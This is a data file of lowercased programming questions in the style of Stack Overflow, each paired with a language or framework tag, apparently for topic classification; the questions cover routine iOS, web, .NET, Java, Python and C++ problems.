when i refer to programming in objective-c should i include the 2.0   this may be subjective but  if i m writing some code in objective-c 2.0 and i m writing about it on  for example  twitter or in a blog  then should i refer to it as objective-c 2.0 or just objective-c,objective-c
iphone sdk - possible to have multiple splash screens   i m making an app with a different screen for its first run. once it has completed its first run  this screen is never shown again. the issue i have is that my launch image is built to look like the view that the user sees every other time they run the app  so at first run the loading screen looks weird. is there any way to have one loading screen for first run and one loading screen for other runs  thanks,ios
load own map based on location on iphone4  i want to load my own map based on current location   lets say i have all the images based on zoom level like zoom=16 (then all images of 16)   zoom=14(all images of 14 levl)    but how to load these  maps based on location   i mean how to get notified so that i can load images,iphone
lazy loading with multiple arguments  this is my lazy loader for functions:   <pre><code>var make_lazy = function (calledfunc  a  b  c  d  e  f) {     return function () {         return calledfunc(a  b  c  d  e  f)     } }; </code></pre>   it works with most functions except this one:   <pre><code>function superadd() {     return array.prototype.slice.apply(arguments).reduce(function (a  c) {         return a + c;     }  0); } </code></pre>   how do i modify this function to accept a variable number of arguments  i tried using the arguments object with no success.,javascript
trying to find the user belonging to a has_many through table  i have what i think is an instance of a record. it s a has many through record that belongs to user and account. i have this instance and i m trying to find the user that belongs to it. this seems very simple because i have the user_id right on this instance. but when i call membership.user it returns an undefined method error  i really can t seem to figure this one out. here is my code:   <h2>controller:</h2>  <pre><code>def owner   owner = current_account.account_memberships.where(admin: true) end </code></pre>   this will return this record:   <pre><code>  [#&lt;accountmembership:0x007fabf7cf9978   id: 1    user_id: 1    account_id: 1    admin: true    worker: false    created_at: sun  22 jan 2017 04:25:37 utc +00:00    updated_at: sun  22 jan 2017 04:25:37 utc +00:00&gt;] </code></pre>   if i call this <code>owner.id</code> i get this error:   <pre><code>nomethoderror: undefined method `id  for #&lt;accountmembership::activerecord_associationrelation:0x007fabfcc0c1f0&gt; </code></pre>   did you mean   ids    here are the models:   <h2>user</h2>  <pre><code>has_many :account_memberships has_many :accounts  through: :account_memberships </code></pre>  <h2>account</h2>  <pre><code>has_many :account_memberships has_many :users  through: :account_memberships </code></pre>  <h2>account_memberships</h2>  <pre><code>belongs_to :account belongs_to :user </code></pre>   i m doing something wrong i just don t know what. thanks for the help!,ruby-on-rails
determining day of the week using zeller s congruence in java  i have been staring at my zeller s congruence program for an hour  but i don t know where is my logic error. could someone kindly point out the error  thanks!   <pre><code>// implement the zeller s congruence algorithm. // to calculate the day of the week  import java.util.scanner;  public class dayoftheweek {     public static void main(string[] args) {         // create a scanner         scanner input = new scanner(system.in);          // prompt the user to enter a year  month and a day         system.out.print( enter year (e.g.  2008):  );         int year = input.nextint();          system.out.print( enter month: 1-12:  );         int month = input.nextint();          system.out.print( enter the day of the month: 1-31:  );         int day = input.nextint();          // check if the month is january or february         // if the month is january and february  convert to 13  and 14          // and year has to -1. (go to previous year).         if (month == 1 || month == 2) {             month += 12;             year--;         }          // compute the answer         int k = year % 7; // the year of the century         int j = (int)(year / 100.0); // the century         int q = day;         int m = month;         int h = (q + (int)((26 * (m + 1)) / 10.0) + k + (int)(k / 4.0)                  + (int)(j / 4.0) + (5 * j)) % 7;          string result =  day of the week is  ;          //display the name of the day of the week         if (h == 0)              system.out.print(result +  saturday );         else if (h == 1)             system.out.print(result +  sunday );         else if (h == 2)             system.out.print(result +  monday );         else if (h == 3)             system.out.print(result +  tuesday );         else if (h == 4)             system.out.print(result +  wednesday );         else if (h == 5)             system.out.print(result +  thursday );         else             system.out.print(result +  friday );     } } </code></pre>,java
how to add a new field in asp.net membership   i want to add a  displayname  property to the membership class different from username. i am not using the profiles  can this be done,asp.net
changing values and attribute of collection asp.net  i have this html tags   <pre><code>&lt;ul id= ul1  runat=server&gt;     &lt;li id= li1  runat=server&gt; &lt;a href= link  id= a1  runat=server &gt; &lt;img src= link id= img1  runat=server&gt;&lt;/img&gt;&lt;/a&gt;&lt;/li&gt;     &lt;li id= li2  runat=server&gt; &lt;a href= link  id= a2  runat=server &gt; &lt;img src= link id= img2  runat=server&gt;&lt;/img&gt;&lt;/a&gt;&lt;/li&gt;     &lt;li id= li2  runat=server&gt; &lt;a href= link  id= a2  runat=server &gt; &lt;img src= link id= img2  runat=server&gt;&lt;/img&gt;&lt;/a&gt;&lt;/li&gt;     &lt;li id= li2  runat=server&gt; &lt;a href= link  id= a2  runat=server &gt; &lt;img src= link id= img2  runat=server&gt;&lt;/img&gt;&lt;/a&gt;&lt;/li&gt;     .     . &lt;/ul&gt; </code></pre>   i am getting the attribute of each control in the  li   from a xml file. i want to loop on the the <code>&lt;li&gt;</code> collection and change the attribute of each control. for example:the xml first child is return the src  of the first image the src of the first <code>&lt;a&gt;</code>... the xml seconed child is return the seconed image src ....    if i tried to do it with jquery  the page is first load the page defult attribute(those who didn t create on the fly)and just after the page is loaded  the  img src  and the  a href  is changing.    so the only solution is to use server side that change the attribute values before the page is loaded to the client.    i know how to loop on each  li  in  ul  but don t know how to change the attribute of each control with asp.net    thanks and any efforts will be appreciated,asp.net
fixed background troughout various resolution  for my personal website i would like to feature a very specific background image. this background image represents my signature line and i was wondering what the best approach would be to have this work seamlessly throughout all major resolutions.     i ve added this background image but in it s current state the right side gets cut off once i resize to a smaller width. is there any way to have this preserved     some demonstrations:   <pre><code>i49.tinypic.com/16l0kma.jpg i45.tinypic.com/35naf6v.jpg i46.tinypic.com/2b1tus.jpg </code></pre>   i have prepared a quick screenshot of my background image : <a href= http://i48.tinypic.com/2uz8aw7.jpg  rel= nofollow >http://i48.tinypic.com/2uz8aw7.jpg</a>    thank you very much  nicky,css
checking if variable used in an if statement exists  i have made a program that sometimes works and sometimes it doesn t. i have no idea why and the code is really simple (i am using an unofficial firmware for external hardware so it s likely a bug there).    to fix this  i made a check that determines if the program is going correctly or not.    this is the roughly the code:   <pre><code>if variable &gt; whatever.value()     .... else:      ....     variable = .... </code></pre>   <code>variable</code> is not initialized before.    would this work  or is this is wrong and there is a clean way to do this  (the code is in a while loop),python
python list with no duplicate numbers  i m working on a bingo card  but i cannot seem to generate different numbers using randint. this time it may have all different numbers in b  but the next time  it has a couple duplicate numbers.    how do i make it so it generates different numbers without duplicates     thanks.   <pre><code>import random  class card:     def __init__(self):         self.b = []         self.i = []         self.n = []         self.g = []         self.o = []          for x in range(0  5):             r = random.randint(1  15)             self.b.append(r)          print(self.b)         print(self.i)         print(self.n)         print(self.g)         print(self.o)  p = card() </code></pre>,python
for loop causing error in junit with selenium while searching data in a column  i m getting error for my following for loop in junit3   <pre><code>    for(int i=9;i&lt;=58;i++)     {     x = selenium.gettable( //table[4]. .i. .6 );     if(x ==  single  || x =  onetomany )         {                found= true ;         }         else          break;         } </code></pre>   can someone solve my problem where i m going wrong thanks in advance,java
code contracts and programmatically compiling projects  i have a bunch of legacy web projects that are compiled using a custom build application that we wrote. this because the depedencies were complex and the code... is... less than optimal. on the plus side it has recently been upgraded to .net 4.5 and we are using visual studio 2013.    i recently started using code contracts in one of our other projects and really like the soc it provides. i want to implement this in the legacy code that we are maintaining for new features (without doing a complete re-write). in development i have gotten it to work as long as i do a build from within vs and copy the compiled dll files into the bin folder of the web application (aps.net 32bit latest iis).    i want to include the contracts in our release build as well using our build tool. otherwise i would have to use the tool and then use vs to create a release which is a 2 step process. i have complete source control over the tool (which is executed locally on my dev pc) but i cannot get it to produce output with the code contracts. i read the code contract documentation and they mention the build script microsoft.codecontracts.targets and i have tried to add this into the build code without success. admittedly my knowledge of the build process  build scripts  etc. is lacking at best. any help / pointers in how to get this to work would be greatly appreciated. i would still like to normally compile my code in vs and have contracts work as well as use the build tool and and contracts work.    (i have not manually changed any of the csproj files)    build code: build code is done using microsoft.build and microsoft.build.framework assemblies.   <pre><code>var pc = new projectcollection(); var buildlogger = new filelogger();  var logfilepath = @ mylog.log ; buildlogger.parameters = string.format( logfile={0}   logfilepath);  var bindirectory = path.combine(outputwebdir   bin ); var globalproperty = new dictionary&lt;string  string&gt;(); globalproperty.add( outputpath   bindirectory); globalproperty.add( configuration   publishparams.releasemode); globalproperty.add( platform   publishparams.platformmode); if (projectfiletopublish.indexof( sotaq.webpoint.web.csproj   stringcomparison.ordinalignorecase) &lt; 0)     globalproperty.add( solutiondir   publishparams.sparcosolutionpath); if (iswebsite) {     globalproperty.add( webprojectoutputdir   outputwebdir);     globalproperty.add( deployonbuild    true ); } globalproperty.add( codecontractsinstalldir   @ c:\program files (x86)\microsoft\contracts\ ); globalproperty.add( codecontractrewritecommand   @ c:\program files (x86)\microsoft\contracts\bin\ccrewrite.exe ); globalproperty.add( codecontractanalysistargets   @ c:\program files (x86)\microsoft\contracts\msbuild\v4.0\microsoft.codecontractanalysis.targets ); globalproperty.add( codecontractsccdocgencommand   @ c:\program files (x86)\microsoft\contracts\bin\ccdocgen.exe ); globalproperty.add( codecontractsccrefgencommand   @ c:\program files (x86)\microsoft\contracts\bin\ccrefgen.exe );  string[] targets; if (iswebsite)     targets= new[] {  build    resolvereferences    _copywebapplication  }; else     targets = new[] {  build    resolvereferences  };   var buildrequestdata = new buildrequestdata(projectfiletopublish  globalproperty  null  targets  null); var buildparams = new buildparameters(pc); buildparams.loggers = new[] {buildlogger};  buildresult buildresult = buildmanager.defaultbuildmanager.build(buildparams  buildrequestdata); </code></pre>   any help is greatly appreciated!! thanks in advance  -igor,c#
angularjs scope variable not updating in view <pre><code>&lt;ul class= inprogressprojlist  ng-if=  selectbanksdetails.length &gt; 0 &gt;                 &lt;li  ng-repeat= selectbanksdetails in selectbanksdetails  &gt; </code></pre>  ...    if i change selectbanksdetails(like overwrite it) which is a scope variable in controller  then nothing will print in mentioned list.,angularjs
relation of screen size and browser size  i am wondering if there is any relation between screen size and browser window width and height. will screen of 13  will have always the same browser max width and height (in pixels)  or is it possible to have for example 11  screen with 1900x1000 size,css
why can`t i put a zero in front of an integer in an  if  statement  why does my little cheat code not work when i put the zero in front of it. when i take the zero out and put the little cheat code in it works just fine. however  when i put the zero in and use the cheat code - it will skip right over.   <pre><code>#include &lt;iostream&gt; #include &lt;random&gt;  int main() {     bool correct = false;     std::cout &lt;&lt;  put a number from 1 to 100  &lt;&lt; std::endl;     int guess = 0;     std::cin &gt;&gt; guess;     std::random_device rd;     std::mt19937 mt(rd());     std::uniform_int_distribution&lt;int&gt; rnd(0  101);     int answer = rnd(mt); //random number     while (correct == false)     {         if (guess == answer)         {             std::cout&lt;&lt; you got it!!! &lt;&lt;std::endl;             correct = true;         }         else if (guess == 01010101)#&lt;--------------------problem         #it works when it is 1010101         {             std::cout&lt;&lt; answer&lt;&lt; std::endl;             std::cout &lt;&lt;  put a number from 1 to 100  &lt;&lt; std::endl;             std::cin &gt;&gt; guess;         }         else if (guess &gt; answer)         {             std::cout&lt;&lt; your guess is to high guess again &lt;&lt; std::endl;             std::cout &lt;&lt;  put a number from 1 to 100  &lt;&lt; std::endl;             std::cin &gt;&gt; guess;         }         else if (guess &lt; answer)         {             std::cout&lt;&lt; your guess is to low guess again &lt;&lt; std::endl;             std::cout &lt;&lt;  put a number from 1 to 100  &lt;&lt; std::endl;             std::cin &gt;&gt; guess;         }          else         {             std::cout &lt;&lt;  put a number from 1 to 100  &lt;&lt; std::endl;             std::cin &gt;&gt; guess;         }       } } </code></pre>,c++
automatic running of a method in a class full of non static variables  i have a program that needs a class file written to make it run and i cannot change the original program (a java file).    the java file that i cannot change instantiates a few versions of the class lets say something like this:   <pre><code>crazyclass crazy1 = new crazyclass(); crazyclass crazy2 = new crazyclass(); crazyclass crazy3 = new crazyclass(); //more code follows </code></pre>   it then sets variables in those newly instantiated classes something like this:   <pre><code>crazy1.var1 = 6; crazy2.var1 = 7; crazy3.var1 = 8; //more code follows </code></pre>   later the program actually calls those instantiated classes in a println statement like this:   <pre><code>system.out.println(crazy1); </code></pre>   and expects a message to pop out..    my question is how do i make this happen  am i completely off base to think that classes that must be instantiated cannot have return values  i can only think that i need a method inside the class that returns the message and is automatically called  something like main but not static. am i heading in the right direction here or totally off base  please advise i have been reading all day and i fear i cannot see the forest for the trees at this point. im sure its something simple.    thank you in advance.,java
how to make online radio of local fm station  how to make online radio of the local radio station,javascript
moving checked values to another block and appending them within <li> lists  i want to move the selected list items from one block (block 1) another block (block 2). after moving to block 2  if i delete the item from block 2  it should append back to block 1.    here is my code:    the html:   <pre><code>&lt;html&gt; &lt;head&gt; &lt;meta http-equiv= content-type  content= text/html; charset=iso-8859-1  /&gt; &lt;title&gt;untitled document&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;table&gt; &lt;tr&gt;     &lt;td&gt;         &lt;div id= left &gt;             &lt;ul&gt;                 &lt;li&gt;&lt;input type= checkbox  value= option 1  onclick= addval(this)  /&gt;option 1&lt;/li&gt;                 &lt;li&gt;&lt;input type= checkbox  value= option 2  onclick= addval(this)  /&gt;option 2&lt;/li&gt;             &lt;/ul&gt;         &lt;/div&gt;     &lt;/td&gt;     &lt;td&gt;         &lt;div id= right &gt;             &lt;ul&gt;             &lt;/ul&gt;         &lt;/div&gt;     &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   the script:   <pre><code>function addval(x){      values1 = $(x).val();      $( #right ul ).append( &lt;li&gt;&lt;img src= http://www.msshifi.com/skin/frontend/msshifi/default/images/delete-icon.gif  name= + values1 +  onclick= removeval(this values1) &gt;&lt;/img&gt; + values1 + &lt;/li&gt; );      $(x).parent().remove();   }  function removeval(y val){      values2 = val;      $( #left ul ).append( &lt;li&gt;&lt;input type= checkbox  value= + values2 +  name= + values2 +  onclick= addval(this)  /&gt; + values2 + &lt;/li&gt; );      $(y).parent().remove();   } </code></pre>   the css:     <pre class= lang-css prettyprint-override ><code>div { border:1px #ccc solid; height:100px; overflow:auto; width:200px; background:#f1f1f1; } ul { margin:0; padding:0; } ul li { list-style:none; } </code></pre>   working demo of the same is available online at : <a href= http://jsfiddle.net/prajan55/malqv/  rel= nofollow >http://jsfiddle.net/prajan55/malqv/</a>    kindly help.. thanks in advance.,jquery
communicator 2005 automation api   i am all new to .net .i am interested in writing an application in c#/vb/vb.net that will send the messages to all online peoples. i found the  office communicator api  but unable to run the code that i found from msdn site ( although code was for  communicator 2007).  did anyone did it before for communicator 2005  please help me.    thanks you.,.net
c# - how to i get the ms_description field from a table schema  <pre><code>string sql =  select top 1 * from   + tablename; idatareader reader = databaseclasscreator.execsqlreader(    sql); datatable schema = reader.getschematable(); </code></pre>   i got the above to read information about the fields in a table of my sql server 2000 databases. this works but i can t seem to find a way to get the ms_description property for a field from the schema.    how would i go about getting the field s ms_description property,c#
is there any way to tell if an object of unknown type has any content   i want to pass in various custom class objects into a method and for the method to check if the object has any content (i.e. a custom label has no text or an image view has no image etc). is this possible,objective-c
class attribute inside header <h1>tags   i read somewhere that you should try to avoid using class or any styles inside header tags   <pre><code>&lt;h1 class= story &gt;here goes the story&lt;/h1&gt; </code></pre>   is there any problem if we apply css class inside header tags,html
the report definition has an invalid target namespace  the report definition is not valid.  details: the report definition has an invalid target namespace  <a href= http://schemas.microsoft.com/sqlserver/reporting/2008/01/reportdefinition  rel= nofollow noreferrer >http://schemas.microsoft.com/sqlserver/reporting/2008/01/reportdefinition</a>  which cannot be upgraded.,asp.net
how to select all buttons when we select last button in ios  iam new to ios programming i have one doubt explained below:    i have 10 buttons as stars in the view  if i click 10th button i need to show all buttons as selected. if i click 5th button i need to show 5 buttons as selected.    i need this functionality to give rating in my ios app.    please can anyone suggest me the solution for my question. thanks in advance,ios
downloading concurrent song files  i am very new to ios application development platform   i am searching for one thing from last few weeks  actually my requirement is i have a <code>uitableview</code> with few urls and on <code>didselectrowatindexpath</code> that song should run in the background and it downloading progress shows in another tab.    when i clicked multiple buttons then multiple songs are downloaded simultaneously and all downloading progress should shown individually in the next tab and here i have felicity to pause  resume  and cancel the particular download. this is my requirement. i use afnetworking but it is not clear please help me and do the needful. my afnetworking code below   <pre><code>nsurl *url = [nsurl urlwithstring:downloadedurlparam]; nsmutableurlrequest *request = [nsmutableurlrequest requestwithurl:url cachepolicy:nsurlrequestuseprotocolcachepolicy timeoutinterval:3600];  nsstring *musicfile=[documentsdirectory stringbyappendingpathcomponent:songname]; self.operation = [[afdownloadrequestoperation alloc] initwithrequest:request targetpath:musicfile shouldresume:yes];  [self.operation setcompletionblockwithsuccess:^(afhttprequestoperation *operation  id responseobject) {     nslog(@ successfully downloaded file to %@   musicfile);     //[processingurlsarray removeobject:videostring]; } failure:^(afhttprequestoperation *operation  nserror *error) {     nslog(@ error: %@   error);     if(operation.response.statuscode!= 200) {         uialertview *alertview = [[uialertview alloc] initwithtitle:@ alert  message:@ error while downloaded  delegate:nil cancelbuttontitle:@ ok  otherbuttontitles:nil];         [alertview show];     } }];  [httpclient enqueuehttprequestoperation:self.operation];  [self.operation setprogressivedownloadprogressblock:^(nsinteger bytesread  long long totalbytesread  long long totalbytesexpected  long long totalbytesreadforfile  long long totalbytesexpectedtoreadforfile) {     float percentdone = totalbytesreadforfile/(float)totalbytesexpectedtoreadforfile;     nslog(@ ------%@  [nsstring stringwithformat:@ cur : %lli m  totalbytesreadforfile/1024/1024]);     nslog(@ ------%@  [nsstring stringwithformat:@ total : %lli m  totalbytesexpectedtoreadforfile/1024/1024]);      nslog(@ ------%f  percentdone);     nslog(@ ------%.0f%%  percentdone*100);      self.myprogressbar.progress=percentdone;      nslog(@ operation%i: bytesread: %d   1  bytesread);     nslog(@ operation%i: totalbytesread: %lld   1  totalbytesread);     nslog(@ operation%i: totalbytesexpected: %lld   1  totalbytesexpected);     nslog(@ operation%i: totalbytesreadforfile: %lld   1  totalbytesreadforfile);     nslog(@ operation%i: totalbytesexpectedtoreadforfile: %lld   1  totalbytesexpectedtoreadforfile);       nslog(@ %@  downloadedurlparam);     self.title=downloadnameparam;     nsmutablearray *stgperst;     stgperst=[[nsmutablearray alloc]initwithcapacity:0];     nsdictionary *dicinfo=[nsdictionary dictionarywithobjects:@[[nsstring stringwithformat:@ %f  percentdone] downloadnameparam] forkeys:@[@ heprog  @ hename ]];        nslog(@ dict=%@  dicinfo);     [[nsnotificationcenter defaultcenter] postnotificationname:@ download_progress  object:nil userinfo:dicinfo];  }]; </code></pre>,ios
which is the best practice to use try - catch blocks with foreach loop   what is the best practice to use try{} catch{} blocks regarding performance     <pre><code>foreach (var one in all) {     try     {         //do something     }     catch { } } </code></pre>   or   <pre><code>try {     foreach (var one in all)     {         // do something     } } catch { } </code></pre>,c#
transform translate with positive value make a scrollbar  i try to make a mobile menu: <a href= http://animesector.budi.upperyard.de/  rel= nofollow >http://animesector.budi.upperyard.de/</a>    you can see at the top header bar 2 menu buttons. the right one give the content area transform(translatex(-200px)); the left one give the content area transform: translatex(200px);    the negative (-) value dont create a scrollbar horizontal scrollbar... but the positive one does. have anyone any solution for this problem     i tried to give the div around a overflow: hidden; but this didn t work for me.,css
to get the number of files recursively  i m trying to count the number of  *.tmp files in the computer. when i click on a button the labelbox should start increasing the count number for each search of .tmp file. my below coding does not seems to be working.    any help is much appreciated. also when i click on button to get the number of tmp files; the lable box should start showing the increase in count like 1 2     56  89   etc rather than showing just the total number of files.   <pre><code>namespace finalclean {  public partial class finalclean : form {      public finalclean() {          initializecomponent();     }      int count = 0;       private void button1_click(object sender  eventargs e) {         string path = environment.expandenvironmentvariables(@ c:\windows );         try {            foreach (string dirpath in directory.getdirectories(path)) {                 foreach (string filepath in directory.getfiles(dirpath)) {                     string filename = path.getfilename(filepath);                     if (filename.equals( *.tmp )) {                        count++;                    }                }            }        }          catch (system.exception excpt) {              //console.writeline(excpt.message);          }        textbox1.text = (count.tostring());     }    }  } </code></pre>,c#
url parameters not shown in view  i have a link with parameters like this:   <pre><code>graphs_dashboards_path(survey_id: @survey.id  level: 1) </code></pre>   so i expect the view to have a link like this: <code>dashboards/graphs survey_id=1&amp;level=1</code>. but it only has a link like this: <code>dashboards/graphs</code>. what am i missing  where are the url parameters  i have other links with url parameters working fine  so i can t figure out why they are missing here     the link:   <pre><code>link_to  graphs   graphs_dashboards_path(survey_id: @survey.id  level: 1) </code></pre>   the routes:   <pre><code>  resources :dashboards  only: [:index] do     collection do       get :graphs       get :kpis       post :scope     end   end </code></pre>,ruby-on-rails
how to speed up uiimage drawing   i recently came across a situation where i have to draw many 2d images to the screen. sometimes about 200 small images have to be drawn. i used to call the <a href= https://developer.apple.com/documentation/uikit/uiimage/1624092-draw  rel= nofollow noreferrer >uiimage.draw(in:)</a> method for that purpose  but quickly learned (through profiling) that it is rather slow. i could speed things up by making the images smaller  i.e. use the right size for the image  and not images that are way too big and which have to be scaled down (this is something that i would have done later anyways  but during development you wanna try things out quickly.) this speeded it up from about 400ms to 100ms. still too slow. i could also make it faster by only drawing the parts of the screen that actually change. this helps  except in the case that i have to draw most of the screen. it s still way to slow: i mean  many modern 3d games can draw >10000 triangles per frame  with hd textures and 60 frames per second  on an iphone se; so i m pretty sure there is a way to draw 100 images to the screen on an iphone 7 in under 1 millisecond.    i thought about rewriting the view in opengl es  metal  or maybe using spritekit  but i wonder if this may be overkill.    for the game i am developing  i have at most 15 different images that i need to draw multiple times each. at most 1000 images are drawn at once. the maximum resolution of an image is 120*120 pixels.    what is a sufficiently fast way to draw images to screen  it would be okay to have a setup phase that takes maybe 300ms and which would copy all the image data into graphic memory  or something like that. a fast drop-in-replacement of uiimage would be the most convenient though.,ios
detailsview / updatepanel question  i have a detailsview grid inside of an updatepanel.  when the detailsview is in edit mode and the  save  button is clicked  while the update is happening  i d like the text of the  save  button to change to  saving...   and when the update is complete i d like the text of the button to change to  saved .    how is this done   i can find the current text of the button with:   <pre><code>button btnsave = (button)detailsview1.rows[12].cells[0].findcontrol( button1 ); </code></pre>   however  when i put the following in detailsview1_itemupdating:   <pre><code>btnsave.text =  saving... ; </code></pre>   and the following in detailsview1_itemupdated:   <pre><code>btnsave.text =  saved ; </code></pre>   the button text is not updating at all during the save and after the save is complete.  what am i doing wrong   does the updatepanel not automatically update as a result of the text change,asp.net
audio playlist - list dissapearing while selecting  i m stucked on this... i have a section with several playlists and a main player that has a playlist loaded by default. when i click on an item from a list  i have to replace the current playlist with the new i clicked.  my problem is that when i click on a  li  from a playlisti want lo load  the content is loaded to the main playlist  but it dissapears from the playlist i clicked. i m getting sick of this!! could you help me  thanks!   <pre><code>&lt;ul class= audiolist &gt;     &lt;li class= playcon data= media/x.wav  data-autor= x &gt;&lt;/li&gt;     &lt;li class= playcon data= media/x2.wav  data-autor= x &gt;&lt;/li&gt; &lt;/ul&gt;  &lt;ul class= audiolist  id= randplay &gt;     &lt;li data= media/01.mp3  data-autor= x &gt;nombre&lt;/li&gt;     &lt;li data= media/02.mp3  data-autor= x2 &gt;nombre&lt;/li&gt;     &lt;li data= media/03.mp3  data-autor= x &gt;nombre&lt;/li&gt;     &lt;li data= media/04.mp3  data-autor= x4 &gt;nombre&lt;/li&gt; &lt;/ul&gt;  &lt;audio id= pla  src=   controls= controls ;&gt;&lt;/audio&gt;  &lt;script&gt;     $( .audiolist li ).click(function () {         var newlist = $(this).parent();         $( #randplay ).html(newlist);          var audiof = ($(this).attr( data ));         var audioautor = ($(this).attr( data-autor ));          $( #pla ).attr( src  audiof);         $( #autorspot ).html(audioautor);         $( #pla ).attr( autoplay   auto );      });  &lt;/script&gt; </code></pre>,jquery
javascript date.setfullyear changes day of month in ff and safari  here in this snippet we set year  but day of month is also changed (was 05 and became 04):   <pre><code>&gt; d = new date( 2015-03-05 ) date 2015-03-05t00:00:00.000z &gt; d.setfullyear( 2014 ) date 2014-03-04t23:00:00.000z </code></pre>   setting date is also weird:   <pre><code>d.setdate(5) date 2014-03-04t20:00:00.000z </code></pre>   but this not true for another year:   <pre><code>&gt; d1 = new date( 2016-03-05 ) date 2016-03-05t00:00:00.000z &gt; d1.setfullyear(2015) date 2015-03-05t00:00:00.000z </code></pre>   this weird behaviour take plase in ff  so how it should be handled,javascript
should a view controller within a container view dismiss itself or its parent   if a view controller a is modally presented and it contains a container view containing a view controller b. then if b wishes to dismiss itself (which in effect is also effectively dismissing a because b is contained within a) then should b call self.dismiss() or self.parent .dismiss(),ios
c++ using same index function for different sort functions  i created a small practice program for practicing sorting data that is read from a file. the problem i ran into is that when i want to sort a different  specific column (then 2nd column in this case)  i get the cannot convert data type error.     my goal is to be able to find the median  min  and max of only that column. now  i understand that it s a data type mismatch issue  but i was wondering if there was a way to get around it  because otherwise i would have to create another minindex function which seems rather inefficient.    here is the code:   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;iomanip&gt; #include &lt;cstdlib&gt;  using namespace std;  void readscore(ifstream &amp; fin  double &amp; x  int &amp; y  string &amp; z);  double median(double arr[]  int n);  void swap(int &amp; a  int &amp; b); int minindex(double k[]  int size  int startindex); void selectionsortall(double k[]  int l[]  int size); void selectionsorty(int l[]  int size);  struct xyz {     double varx[4];     int vary[4];     string varz[4]; };  int main() {     double x;     int y;     string z;      ofstream fout;     ifstream fin;      fin.open( struct fstream.txt );      xyz calcx;     xyz calcy;     xyz calcz;      double scoresumx = 0;     int scoresumy = 0;     for (int i = 0; i &lt; 4; i++)     {         readscore(fin  x  y  z);         calcy.vary[i] = y;         calcx.varx[i] = x;         calcz.varz[i] = z;         cout &lt;&lt; calcx.varx[i] &lt;&lt;    ;         cout &lt;&lt; calcy.vary[i] &lt;&lt;    ;         cout &lt;&lt; calcz.varz[i] &lt;&lt; endl;         /*scoresumx += calcx.varx[i];         scoresumy += calcy.vary[i];         cout &lt;&lt;  current sum:   &lt;&lt; scoresumx &lt;&lt; endl;         if (i &gt;1)         {             cout &lt;&lt;  current average:   &lt;&lt; scoresumx / (i + 1) &lt;&lt; endl;         }*/     }      cout &lt;&lt;    &lt;&lt; endl;      selectionsortall(calcx.varx  calcy.vary  4);      for (int i = 0; i &lt; 4; i++) {         cout &lt;&lt; calcx.varx[i] &lt;&lt;    ;         cout &lt;&lt; calcy.vary[i] &lt;&lt;    ;         cout &lt;&lt; calcz.varz[i] &lt;&lt; endl;     }      cout &lt;&lt; median(calcx.varx  4);      fin.close();     fout.close();      return 0; }  void readscore (ifstream &amp; fin  double &amp; x  int &amp; y  string &amp; z) {     fin &gt;&gt; x &gt;&gt; y &gt;&gt; z; }  double median(double arr[]  int n) {     if (n % 2 == 0)         return arr[n / 2];     else         return arr[n / 2]; }  void swap(int &amp; a  int &amp; b) {     int temp = a;     a = b;     b = temp; }  int minindex(double k[]  int size  int startindex) {     int mini = startindex;     for (int i = startindex; i &lt; size; i++) {         if (k[i] &lt; k[mini]) {             mini = i;         }     }     return mini; }  void selectionsortall(double k[]  int l[]  int size) {     int mini;      for (int startindex = 0; startindex &lt; size; startindex++) {         mini = minindex(k  size  startindex);         swap(k[startindex]  k[mini]);         swap(l[startindex]  l[mini]);     } }  void selectionsorty(int l[]  int size) {     int mini;      for (int startindex = 0; startindex &lt; size; startindex++) {         mini = minindex(l  size  startindex);         swap(l[startindex]  l[mini]);     } } </code></pre>   the error occurs with the very last function   selectionsorty   because the first argument  l  in this case is an <strong>int</strong> but the first argument in the function  minindex  is a <strong>double</strong>. would i have to just create another minindex function for indexing different data types     oh and for reference  the input file looks like this:   <pre><code>634 423 qwerty 115 935 jkl 968 156 asdf 439 593 iopu </code></pre>   thank you for your time and any help would be greatly appreciated =)    edit: just to clarify  the program works just fine without the  selectionsorty  function.  selectionsortall  sorts the first two columns as intended.    edit2: i m new to programming  so please bear with me if i m a bit slow to catch on or if i just straight up don t know what something is. also for the actual assignment (much bigger than this so i didn t post it here)  i m somewhat limited on what i m allowed to use since this is the first semester of a beginner course.,c++
how to create a folder on the server with several username and password to download the file with particular time for each user  how to create a folder on the server with multiple user name and password to download the file with a specific time for each user  and only one user access to a folder on the server at one point and a user name and password do not have multiple connection    note: the particular time for each user please code examples,php
coping with rapidly changing technology (in particular microsoft)  today as i booted up visual studio 2008 to do my work  i saw on the start page a new blog post about <a href= http://channel9.msdn.com/shows/10-4/10-4-episode-1-working-with-the-visual-studio-2010-ctp-vpc/  rel= nofollow noreferrer >visual studio 2010 and .net 4.0</a>.    i can t help but feel a little overwhelmed.  i am just starting to come to grip with all the stuff microsoft added in .net 3.0 &amp; 3.5 (linq  wpf  lambda functions  etc  etc).... i know these things are no longer new  especially for the folks here  but i ve been too busy solving real problems for customers... albeit with  older  technologies like .net 2.0  and haven t had time to continually keep up.    sorry my question is non-technical but i think its very relevant for programmers  both employees and independent consultants  as well as software businesses (which i aspire to start one day):  how to you cope with such rapid change  and still stay relevant   do you ignore it until you need it or do you try to stay ahead   i d love to stay ahead and stay relevant (read: keep my house and food on table)  and not stuck working on legacy stuff  but it just seems like an endless treadmill.  especially with ms... it seems like they have so much money and people that they just keep pumping out new stuff... and worse  rendering previous technologies obsolete and unsupported (like vb6... something from my previous life).,.net
how to get rid of all the links using feature   i have the function of reducing the links of one of the services:   <pre><code>function shorten($url){ $api_url= https://server/api api=key&amp;url= .$url. &amp;format=text ; $res= @file_get_contents($api_url);   if($res){     return $res;   }} </code></pre>   and i have the html code of the letter that sends my server:   <pre><code>hey! go in &lt;a href= http://google.com &gt;google&lt;/a&gt; or &lt;a href= http://yahoo.com &gt;yahoo&lt;/a&gt; </code></pre>   i need to replace the links with a function  that is  reduce them on the server. but i can t substitute a value in <code>preg_replace</code>.,php
how to convert an enum to a byte array in objective-c   i have an enum and i want to pass one of its value to an objective-c method expecting <code>char *</code> directly instead of creating another variable. what should i do     e.g.   <pre><code>typedef enum { value1 = 0xaa  value2 = 0xbb  value3 = 0xcc } myvalue;  nsmutabledata *data = [[nsmutabledata alloc] init];  // want to pass in the enum directly as char * but won t work  [data appendbytes:(char *){ value1 } length: 1];  // this will work  why  and is this the best way   [data appendbytes:(char []){ value1 } length: 1]; </code></pre>,objective-c
